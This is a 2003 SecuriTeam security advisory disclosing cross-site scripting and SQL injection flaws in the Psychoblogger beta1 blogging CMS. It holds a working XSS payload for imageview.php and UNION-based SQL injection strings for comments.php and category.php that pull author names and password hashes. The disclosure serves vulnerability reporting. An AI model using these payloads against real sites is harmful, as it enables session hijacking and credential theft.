

# [UNIX] Multiple Vulnerabilities in Psychoblogger CMS Package

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-12/0090.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 12/28/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 28 Dec 2003 18:32:03 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Multiple Vulnerabilities in Psychoblogger CMS Package

---

## SUMMARY

<<http://www.psychoblogger.com>> Psychoblogger is "a CMS package aimed at providing weblogs (or 'blogs') with an easy to set up system for editing and authoring the content". The standard package has many inherit vulnerabilities that may allow the compromise of a web server or website using the distributed code.

## DETAILS

Vulnerable systems:

\* Psychoblogger version beta1

Cross Site Scripting:

There is a Cross-Site-Scripting vulnerability in the script 'imageview.php', which allows for insertion of scripting on the client-side. This can be exploited by setting the 'desc' get variable. This variable is printed without any checking, in between the <title> tags. Because scripting cannot be inserted directly into the title, one must first break out of the <title> tag.

## Securiteam: [UNIX] Multiple Vulnerabilities in Psychoblogger CMS Package

This can be exploited like so:

[http://server.com/imageview.php?desc=><script>alert\(document.cookie\)</script>](http://server.com/imageview.php?desc=><script>alert(document.cookie)</script>)

### Impact:

This vulnerability may be able to be exploited to hijack the session of a currently logged-in editor, and thus gaining administrative privileges over the weblog. However, (as usual) XSS vulnerabilities are quite hard to exploit successfully.

### SQL Injection:

An SQL-Injection vulnerability exists in the 'shouts.php' by using the variable 'shoutlimit'.

### Impact:

SQL-Injection vulnerabilities can be used to obtain usernames and passwords of privileged accounts on the website.

Another SQL-Injection vulnerability exists in the comments.php script, using the variable 'blogid'. By sending a HTTP 'POST' request to the file 'comments.php', with the variable 'blogid' set to the exploit string below, an attacker could potentially obtain encrypted passwords for later brute-forcing. The SQL injection that could exploit this vulnerability is demonstrated here:

```
1 and 'a'='z' union select
```

```
ba.authorid,name,pwd,email,url,ba.active,comments,be.blogid from  
blog_authors ba, blog_entries be where 'a'='a'
```

This string manipulates the SQL query into looking something like this:  
select blogid,preview,entry,be.dateentered,title,pageviews,usepreview,name  
from blog\_entries be inner join blog\_authors ba on be.authorid=ba.authorid  
where blogid=1 and 'a'='z' union select  
ba.authorid,name,pwd,email,url,ba.active,comments,be.blogid from  
blog\_authors ba, blog\_entries be where 'a'='a' and be.active=1

This returns a result set that lists the user rights of the first user in the database (usually the administrator).

### Impact:

This vulnerability could allow for the stealing of encrypted passwords from the database, which then allows them to be brute-forced.

A third SQL-Injection vulnerability exists in the script 'functions.php' in the method blogs() where a SQL query is built (Note: The actual query is executed in 'userfunctions.php', method showblogs() in the appropriate skins directory). By sending a request to the script 'category.php', one can manipulate the string into outputting an author password. The SQL injection that could exploit this string is thus:

```
1 and 1=2 union select
```

```
ba.authorid,name,pwd,email,url,ba.active,comments,be.blogid,be.preview  
from blog_authors ba, blog_entries be where 1=1
```

## Securiteam: [UNIX] Multiple Vulnerabilities in Psychoblogger CMS Package

This would manipulate the string into something like this:

```
select
be.blogid,be.preview,be.entry,be.dateentered,be.title,be.pageviews,be.usepreview,ba.name,be.pinned from
blog_entries be inner join blog_authors ba on be.authorid=ba.authorid where catid=1 and 1=2 union select
ba.authorid,name,pwd,email,url,ba.active,comments,be.blogid,be.preview from blog_authors ba, blog_entries
be where 1=1 and be.active=1 order by be.dateentered desc
```

### Impact:

This vulnerability might allow for the stealing of encrypted password strings from the database.

### ADDITIONAL INFORMATION

The information has been provided by <mailto:parenthesis@elitehaven.net>  
Calum Power [Enune] a.k.a Andrew Smith.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.